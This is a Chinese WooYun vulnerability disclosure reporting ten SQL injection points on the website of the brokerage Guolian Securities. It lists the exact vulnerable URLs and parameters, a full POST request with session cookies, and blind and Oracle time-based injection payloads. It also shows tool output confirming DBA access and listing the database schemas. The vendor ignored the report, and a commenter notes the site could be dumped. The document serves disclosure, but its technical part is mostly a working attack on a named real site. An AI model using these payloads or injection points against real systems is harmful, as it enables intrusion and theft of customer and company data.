当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0117757

漏洞标题：国联证券主站SQL注射(10处打包)泄露全站数据DBA权限

相关厂商：国联证券

漏洞作者： 路人甲

提交时间：2015-06-02 16:02

修复时间：2015-06-07 16:04

公开时间：2015-06-07 16:04

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-02： 细节已通知厂商并且等待厂商处理中
2015-06-07： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

233

详细说明：

每次9rank，还走小厂，实在受不了了，这次全打包，希望走首，希望20rank!
1，
http://www.glsc.com.cn/glzq/mobileQuestion.do?method=listQuestionForPage&qType=tbAdvice*
2,
http://www.glsc.com.cn/glzq/jyzx/info_content.jsp?id=486551567207*
3,
http://www.glsc.com.cn/glzq/financing/management/new_y5.jsp?fundcode=B40325*
4,
http://www.glsc.com.cn/glzq/f10Action.do?codes=*1dV&method=getJTBshow&pagesize=7 
5,
POST /glzq/f10Action.do?method=gsgk HTTP/1.1
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.glsc.com.cn
Cookie: BIGipServerpool_guanwang=185655306.36895.0000; JSESSIONID=E7694F881AA86232A8EA45FDDFF84993; JSESSIONID=A20065C59B1BD74020792544C2612BD3; URID=3f04acbe-c18a-472b-972b-bcb754c5e99f
Host: www.glsc.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.0 Safari/537.36
Accept: */*
gpdm=*&searchgpdm=%e4%bb%a3%e7%a0%81/%e5%90%8d%e7%a7%b0/%e7%ae%80%e6%8b%bc&Submit3=%e6%9f%a5%e8%af%a2
6,
http://www.glsc.com.cn/glzq/broker/salerQuery.jsp?dept=1&salername=*
7,
http://www.glsc.com.cn/glzq/broker/brokerQuery.jsp?brokerName=*
8,
http://www.glsc.com.cn/glzq/broker/advisorQuery.jsp?advisorName=*
9,
http://www.glsc.com.cn/glzq/broker/advisorQuery.jsp?advisorName=dexsfqfy&dept=*
10,
http://www.glsc.com.cn/glzq/newCms.do?method=getNewsPage&whichCat=gsdt
参数：whicCat

漏洞证明：

---
Parameter: qType (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: method=listQuestionForPage&qType=tbAdvice' AND 3765=3765 AND 'AlEv'
='AlEv
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: method=listQuestionForPage&qType=tbAdvice' AND 5883=DBMS_PIPE.RECEI
VE_MESSAGE(CHR(100)||CHR(108)||CHR(109)||CHR(109),5) AND 'llit'='llit
---
[15:49:35] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
current user:    'GLZQ'
current user is DBA:    True
available databases [16]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] GLZQ
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XD

修复方案：

求20rank!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-06-07 16:04

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2015-06-07 17:48 | r3nty ( 路人 | Rank:2 漏洞数:3 )

    牛B的厂商必火！还没修复的也不怕被脱了。